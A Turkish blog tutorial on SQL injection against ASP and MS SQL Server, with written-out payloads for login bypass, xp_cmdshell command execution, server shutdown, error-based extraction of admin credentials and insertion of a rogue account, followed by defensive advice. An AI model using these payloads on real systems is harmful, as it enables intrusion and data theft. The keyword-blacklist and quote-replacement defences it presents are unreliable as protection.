SQL Mi? O da ne ?
Günümüzde her türlü (sağlık,askeri,bilimsel,eğitsel,aliş-veriş vs.) alanda ihtiyaç duydugumuz internet.Bu ihtiyaçlarımı karşılamak için Web sitelerinden oluşmaktadir bildiğiniz gibi.Ve elbette bu sitelerinde bir çalışma mantığı vardır.Bu yönden siteler kodlanış, dil bakımından ayrılırlar.
Bu başlıkta bizi ilgilendiren konu Yapısal Sorgulama Dili (Structured Query
Language – SQL) dir.Web siteleri formlar arağılığyla kullanılan bu sorgulama dilinin güvenliği işlevi kadar önemlidir.
Peki niye güvenlik açığı oluşur derseniz ? Formlarda kullandığımız bir dil olan, sorgulardan oluşan bu yapı standart bir haldedir.Bizim belirlediğimiz işi belirlediğimiz komutu yerine getirir.Eğer gerekli güvenlik sağlanmadıysa bu sorgu dilinin baştan yapılandırılması mümkün.Güvenlikte burada başlıyor.
Bu güvenlik problemlerini Web site üzerinde 3.Şahıslar sorguları baştan yapılandırarak kullanırlar.Sorguları baştan yapılandırarak, düzenleyerek veritabanındaki istedikleri veriyi veriyi çekip-okuyabilir bununla yetinmeyip veriyi işleyebilir de! Hatta veri tabanı sistemini komutlarla kontrol ederk sunucular üzerinde uygulamalar harici istenen işlemler de yapılabilir.Evet böyle bir açığınız varsa; Olabilecekler korkunç değil mi ? Bencede…
Bu problemlerden korunmak içinde uygulama girdilerinde zararlı kodlar ve karakterleri kontrol eden fonksiyonlar yazılarak önlem alınmalı.Güvenlik denetimindende geçirerek uygulamaların güvenliğinden emin olunmalıdır.
Yapısal Sorgulama Dilini( SQL ) bilmek ve anlamak
Güvenliğinizi sağlayabilmeniz için ilk önce nasıl saldırıldığı konusunda fikir sahibi olmalısınız.Saldırı yöntemlerini bilmeden, güvenlik sağlamak mümkün değildir.
Yapısal Sorgulama Dili SQL’in uygulamalardaki kullanım şeklini örneklendirelim ve daha sonra açıklayalım.
Örnek1:
Tablo adı : tablo1
Kolon sayısı : 3
Kolon adları : id,kolon1,kolon2
SELECT Kolon1,kolon2 FROM Tablo1 WHERE id = `4`
Bu sorgu ile yapılan,Tablo1 de yer alan kolon1 ve kolon2 nin id si 3 olan yerin değerlerini yansıtacak bize.
Sonuç olarak :
LojistikUser,cw-seber
( id si 4 olan tablo1 deki kolon1 ve kolon2 görüntülenir. )
Bu tarz bir sorgu ile eldi ettiklerimizi gördünüz.Access veritabanında yazılmış bilgileri okuduk.Bu sorgu
kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin
vermesiyle ortaya çıkmaktadır. Çözümü ise girdilerden bu özel karakterlerin ve kod parçacıklarının
filtrelenmesini sağlayan fonksiyonlardır.
Çok kullanışlı olan bu uygulamanın hemen hemen her alanda artık karşımıza çıkması şaşırtıcı değil.Güvenliği ise kesinlikle elden bırakılmamalı.Giderek yaygınlaşan ve medyanın haber potansiyelini oluşturan; çalınan kredi kartı
numaraları, yer altı sitelerde dağıtılan müşteri bilgileri, şirket projeleri – yazışmaları
yaklaşan tehlikenin habercisi olmakla beraber halen bu tür kayıpların yaratabileceği
maddi sonuçları kavrayamayan ve hala “az maliyetle kurtarılan güvenlik projeleri” ile cyber-warrior.org/seber
övünen yöneticilere uyarı niteliği taşımaktadır.Sonuçta güvenlik maliyetini düşük tutmanın, güvenliğe önem vermemenin sıkıntısını saldırganlar tarafından zarara uğratıldıklarında anlarlar.Güvenlik şakaya gelmez…
Örnek Saldırıları İnceleyelim
“Güvenliği sağlamak için, önceden saldırıyı tahmin etmek şart…”
Güvenliğin temel ilkeleri arasında yer alıyor artık bu deyim;”Saldırılardan korunabilmek için, saldirgan gibi düşünmelisiniz.” Saldırganın sisteminize girmek için kullanabileceği yöntemleri bilmek
bu saldırılardan korunabilmek için alınan önlemleri daha sağlıklı kılacaktır.
Örneklerde kullanacağımız hedef ; Microsoft®
Internet Information Server™’ dan Microsoft® SQL
Server™’a varsayılan sistem hesabı’ndan (sa) bağlanan
ASP tabanlı bir kullanıcı hesabı yöneticisi olacak.
Form.asp : Username ve Password girdisini alan
form.
Login.asp : Veritabanı ile bağlantıya geçen ve
girdinin doğruluğunu kontrol eden ASP kodu.
(‘) İmleçleri kullanarak İzinsiz Giriş Yapmak
Kullanıcı “Username” & “Password” verisini Login.asp ye yolladıktan sonra .asp kodunun
yapacağı iş verilen yoldaki veritabanı ile bağlantı kurup bilgileri kontrol etmektir. Bu işlem
sonucunda eğer sonuç olumluysa kullanıcıya; “Giriş Yapıldı” olumsuzsa; “Geçersiz
Kullanıcıadı & Şifre” mesajı verilecektir.
Örnekleyecek olursak;
Username : Seber
Password : cw123456
Şeklindeki kullanıcı girdisi aşağıdaki SQL Deyimini oluşturacaktır;
SELECT count(*) FROM Users WHERE Username = `Seber` AND Password =
`cw123456`
Sorguda göründüğü gibi sorun yok.Eğer;
Username : Seber
Password : ‘ OR 1=1—
Şeklindeki girdilerle oluşturacağı SQL Deyimi ise;
SELECT count(*) FROM Users WHERE Username = `Seber` AND Password =
“ OR 1=1 –`
Olacaktır ki, bu durumda girişin sağlanması için şart “seber” kullanıcı adına ait şifrenin
hiçbirşey* olması veya ikinci bir opsiyon olarak 1=1 eşitliğinin sağlanmasıdır.
* Hiçbişey ≠ Boşluk
Sonuç : 1=1 eşitliği sağlandığına göre saldırı başarıyla sonuçlanacak ve “Giriş Yapıldı”
mesajı verilecektir.Çünkü tırnaklar birbirini tamamladı şifre hiçbirşeyi kabul etmiyor olsa bile OR kısmından sonrası devreye girecek ve 1=1 olduğu için yine giriş yapmış olacağız.
Not : Microsoft® SQL Server™ “–“ imlecinden sonra gelen yersiz kullanılmış tırnak
işaretlerini göz ardı edecektir.”-” imleci sorguyu sonlandırı kısaca.
İlk bakışta basit gibi görünen ve sadece SQL Server’a ait
olan bu özellik ilerde örneklerden de anlaşılacağı üzere saldırgana büyük kolaylık
sağlayacaktır.
Uzaktan çalıştırılan prosedürlerin saldırı tipleri;
MS SQL Server’a varsayılan sistem hesabından yaptığımız bağlantı SQL Enjeksiyon
saldırısında muhtemel saldırgana sunucuda saklanan prosedürleri çalıştırabilmesi için
gerekli hakları tanıyacaktır.Varsayılan ayarlar o yuzden tercih edilmemelidir.
Saldırganın kullanabileceği prosedürlerden bir tanesi;
“master..xp_cmdshell” olabilir. cyber-warrior.org/seber
Username : Seber
Password : `; EXEC master..xp_cmdshell ‘dir c:`–
Girdileriyle oluşacak SQL Deyimi;
SELECT count(*) FROM Users WHERE Username = `Seber` AND Password =
“; EXEC master..xp_cmdshell ‘dir c:`–`
Sonuç : SQL Server Kullanıcıadı ve Şifreyi bulunduran sütunları arayacaktır bulamadığı
için “Yanlış Kullanıcıadı & Şifre” mesajını verecektir fakat bu arada arka planda “dir c:”
komutunu çalıştıracak ve saldırgan C sürücüsünün içeriğine ulaşacaktır.
SQL Server Hedef Alınarak Yapılan Saldırılar;
Yönetici haklarına sahip saldırgan silme,ekleme,değiştirme…vb gibi komutları rahatlıkla
çalıştırabilecektir.
SHUTDOWN WITH NOWAIT SQL Server’ın kritik komutlarından bir tanesidir. Komutla
beraber SQL Server görevine son verir.
Username : ‘; SHUTDOWN WITH NOWAIT–
Password : [Boş]
Bu girdilerle oluşturulan SQL Deyimi;
SELECT Username FROM Users WHERE Username=“; SHUTDOWN WITH NOWAIT;
–` AND Password=“
Sonuç : SQL Server kullanıcıadının bulunamadığı mesajını verecektir. Fakat bununla
beraber arka planda diğer komutu çalıştırdığı için SQL Server kapanacaktır.
ODBC Hatalarından Faydalanarak Yapılan Saldırılar;
SQL Server’ın verdiği hatalardan faydalanarak veritabanındaki neredeyse tüm bilgilere
ulaşmak mümkündür.
Hedef; http://Victim/Default.asp?id=10 şeklinde ürün ID leri ile çalışan ASP tabanlı bir
websitesi.
Saldırı SQL Server’ın integer ve string cinsinden verileri birlikte gönderememesinden
faydalınarak yapılır;
Gönderilen ‘10’ sayısına veritabanından herhangi bir string eklenir.
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES–
Not : “INFORMATION_SCHEMA.TABLES” sistem tablosu, sistemde bulunan diğer tüm
tablolar hakkında bilgi içerir. Deyimde kullanılan “TABLE_NAME” de yine tüm tablo
isimlerini içerir.
Oluşacak SQL Deyimi;
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
String -> Integer dönüşümünü yapamayan SQL Server aşağıdaki hatayı verecektir.
Microsoft OLE DB Provider for ODBC Drivers error `80040e07`
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value `Table1` to a column of data type
int.
/Default.asp, line 5
Hata, saldırgana “Table1” olarak bulduğu cevabı integer a çeviremediğini (dolayısıyla
veritabanındaki ilk tablo adının “Table1” olduğunu) belirtmektedir. Saldırgan diğer
tabloların adını aşağıdaki şekilde öğrenebilir…
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (`Table1`)–
Veya doğrudan LIKE komutunu kullanarak aradığı şeye daha kolay yoldan ulaşabilir;
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE `%25Login%25`–
SQL Server’ın vereceği hata;
Microsoft OLE DB Provider for ODBC Drivers error `80040e07`
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value `Admin_Login` to a column of data
type int.
/Default.asp, line 5
Admin_Login adında bir tablo olduğunu öğrenen saldırgan muhtemelen tablodaki ilk
kullanıcıadı ve şifreye ulaşmak isteyecektir. İzleyebileceği yol ise;
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Username FROM Admin_Login–
Hata;
Microsoft OLE DB Provider for ODBC Drivers error `80040e07`
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value `Seber` to a column of data type int.
/Default.asp, line 5
Bu şekilde “admin” kullanıcıadının varlığını doğrulayan saldırganın şifreyi ele geçirmek
için kullanacağı girdi; cyber-warrior.org/seber
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Password FROM Admin_Login
WHERE Username=`Seber`—
Hata;
Microsoft OLE DB Provider for ODBC Drivers error `80040e07`
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value `cw123456` to a column of data type int.
/Default.asp, line 5
Sonuç :
Username : Seber
Password : cw123456
Veritabanına Ekleme Yapma veya Veri Düzenleme;
Kullanıcıadı ve şifre bilgisine ulaşan muhtemel saldırgan benzer yöntemleri ve
UPDATE,INSERT komutlarını kullanarak şifreyi değiştirebilir veya daha temizi başka bir
kullanıcı hesabı açabilir…
http://Victim/Default.asp?id=10; UPDATE `Admin_Login` SET
`Password` = `NewPwd` WHERE Username=`Seber`–
Yeni bir kullanıcı hesabı için;
http://Victim/Default.asp?id=10; INSERT INTO `Admin_Login`
(`UserID`, `Username`, `Password`, `Details`) VALUES
(666,`Desperate_Cry`,`cw123456`,`N/A`)–
Peki Nasıl Korunulur?
“Kod parçalarının ( Karakterlerin..) Büyük Rolleri…”
SQL enjeksiyon saldırılarından korunma amaçlanırken temel ilke: “İmleçlerin, Karakterlerin vs. Kod parçalarının Büyük Rolleri…”
Kullanıcı Haklarının Sınırlandırılması ;
Yaygın olarak yapılan hata; Web Server dan SQL Server a yapılan bağlantılarda varsayılan
sistem hesabı kullanılması… Bu şekilde yönetici haklarına sahip olan saldırgan örneklerde
de görülebileceği üzere isteği komutu çalıştırıp istediği ekleme,silme,düzeltme eylemini
gerçekleştirebilecektir. Bunu yerine yapılması gereken yeni bir kullanıcı hesabı oluşturup
kullanıcının çalıştırabileceği komutları sınırlandırmak olacaktır. cyber-warrior.org/seber
Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasından sipariş verilmesine izin
verecekseniz, “web_user” gibi bir kullanıcı adı oluşturup ürünleri incelemek için; ürünler
sütununda sadece “SELECT” kullanımına ve siparişleri için; siparişler sütununda sadece
“INSERT” kullanımına izin vermeniz uygun olacaktır.
Girdilerde Tırnak İmleçlerinin (‘) Kötü Amaçlı Kullanımının Engellenmesi ;
Yaygın SQL Enjeksiyon saldırıları SQL deyimlerinin girdilerdeki gereksiz (‘) tırnak
işaretleri yardımıyla yeniden oluşturulması sayesinde yapılır.
Küçük bir filtreleme fonksiyonu veya tek tırnağı çift tırnağa çeviren bir fonksiyon
muhtemel bir saldırıyı engellmek için yeterli olabilir.
ASP Kullanarak girdileri kontrol ederek değiştiren bir fonksiyon kolaylıkla yazılabilir;
<%
Function ReplaceQuotes(strWords)
ReplaceQuotes = Replace(strWords,”’”,”””)
End Function
%>
Bu fonksiyonu baştaki örnekte kullanırsak;
SELECT count(*) FROM Users WHERE Username=`Seber` AND Password=“
OR 1=1 –`
şeklinde olan deyim…
SELECT count(*) FROM Users WHERE Username=`Seber` AND Password=`”
OR 1=1 –`
‘e dönüşecektir.
Form Girdilerinden Gereksiz Karakterlerin Elenmesi ;
SQL Enjeksiyon saldırıları genelde “;, –,SELECT, INSERT ve xp_” gibi karakterlerinkelimelerin
kullanılmasıyla yapıldığı için gönderilecek girdinin önce bir filtreleme
fonksiyonundan geçirilmesi muhtemel zayıflığı engelleyebilir.Örneğin kullanıcıdan E – mustafayalcin.net.tr
Mail adresini girmesi isteniyorsa harfler ve sayıların yanında sadece “ @,-,_,.”
karakterlerinin kullanılmasına izin verilmelidir.cyber-warrior.org/seber
Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanlı
DLL ler, kullanıcı taraflı fonksiyonlar…vb, izole edilmiş bir sunucuya taşınmalıdır.
Bazı zararlı kelime-harfleri filteleyen ASP fonksiyonu aşağıda örneklenmiştir;
<%
Function FilterBadWords(strWords)
dim BadWords
dim NewWords
BadWords = array(“SELECT”, “DROP”, “;”, “–“, “INSERT”, “DELETE”,
“xp_”)
NewWords = strWords
for i = 0 to uBound(BadWords)
NewWords = Replace(NewWords, BadWords(i), “”)
Next
FilterBadWords = NewWords
End Function
%>
mustafayalcin.net.tr
Tırnak değiştirme fonksiyonu ve filtreleme fonksiyonu beraber kullanılırsa;
SELECT Username FROM Users WHERE Usename=“; EXEC
master..xp_cmdshell `dir c`; –` AND Password=“
Şeklindeki SQL Deyimi…
SELECT Username FROM Users WHERE Usename=`” EXEC master..
cmdshell “dir c:” ` AND Password=“
‘e dönüşecektir ki bu da herhangi bir kayıt bulumadığı hatasını vermekten öteye
gitmeyecektir. Bu fonksiyonu kullanıcıdan gelen bütün girdilere, adres satırı ifadelerine
ve çerezlerden gelen tüm veriye uygulamamız gelebilecek saldırının önüne geçecektir.
Veribox Uzunluğunun Sınırlandırılması ;
Veritabanındaki ayrılan alanın uzunluğu 10 karakterlikse, formunuzda bu alan için 50
karakter sığan bir text kutusuna sahip olmanız sakıncalı olabilir. Ve mümkün olduğu
kadar girdi uzunluklarını kısa tutmak muhtemel saldırıyı engellemek için önlem
sayılabilir.
Veribox Cinsinin Kontrol Edilmesi ;
Formunuzdan girilen verinin istediğiniz türden bir veri olup olmadığını kontrol eden bir
fonksiyon kötü amaçlı kullanımlarda saldırganın kullanabileceği harf/sayı seçeneğini
kısıtlayacaktır. Mesela, eğer Ürün ID si için formunuzdan girdi alıyorsanız girdinin sayısal
bir ifade olup olmadığını kontrol eden bir fonksiyon fayda sağlayacaktır.
mustafayalcin.net.tr
Kullanılan Veri Gönderme Metodu ;
Şüphelenmeyen bir kullanıcıdan zarar gelmez.
Formunuz aracılığı ile topladığınız verileri yollarken mutlaka “POST” metodunu kullanın
ki kullanıcılarınız adres çubuğunda girdikleri verilerle beraber form değerlerini
gördüklerinde akıllarına farklı fikirler gelmesin.
Sözün Özü
Günümüzde alınan güvenlik önlemleri standartlaştı, bunlardanda kaçınmanızda fayda var.Konu hakkında bilgi sahibi olunmamasına rağmen standart yöntemleri kullanarak sağlanacak güvenlikten umut etmek acı.En azından geçici bir çözüm olur.
Güvenliği sadece Web Master larının takip etmediğini unutmayınız.Bu yüzden daima özel bir çaba özel bir emek özel bir birikim kullanmak gerek.Bu sayede bilinçli bir güvenliğe sahip olabilirsiniz.Bilinçsizce alınan önlemler çözüm değildir.
Güvenlik düzenli olarak takip ister, kontrolleri sürekli yapmak, bilgi sistemlerinin alt yapısı hazırlanıp takip sürecine tabi tutulmalı. Bilgi sistemlerinin önemli bir kısmını
oluşturan uygulamaların taşıyabileceği güvenlik sorunları uzun süredir ihmal
edilmelerinden dolayı, günümüzün en popüler sistem sızma noktalarını teşkil
etmektedirler.Son zamanlardaki değişimi göz önünde bulundurursak Güvenlik Konusunun Popularitesinin iyi bir ivme ile artacagını tahmin etmek çok zor değil.
Bu nedenle uygulama güvenliğine ilişkin gereken önemi vermeniz, güvenlik denetimi yaptırmanız ve kurumunuzun bilgi güvenliği sistemleri için alt yapı hazırlamanızı öneriyoruz.
Google ile gelen arama sonuçları:
- SQL A DAİR HERŞEY
- exec master xp_cmdshell türkçe karakter sorunu
- exec xp_cmdshell ile ne yapılır
- sql e dair herşey
Sql mi o da ne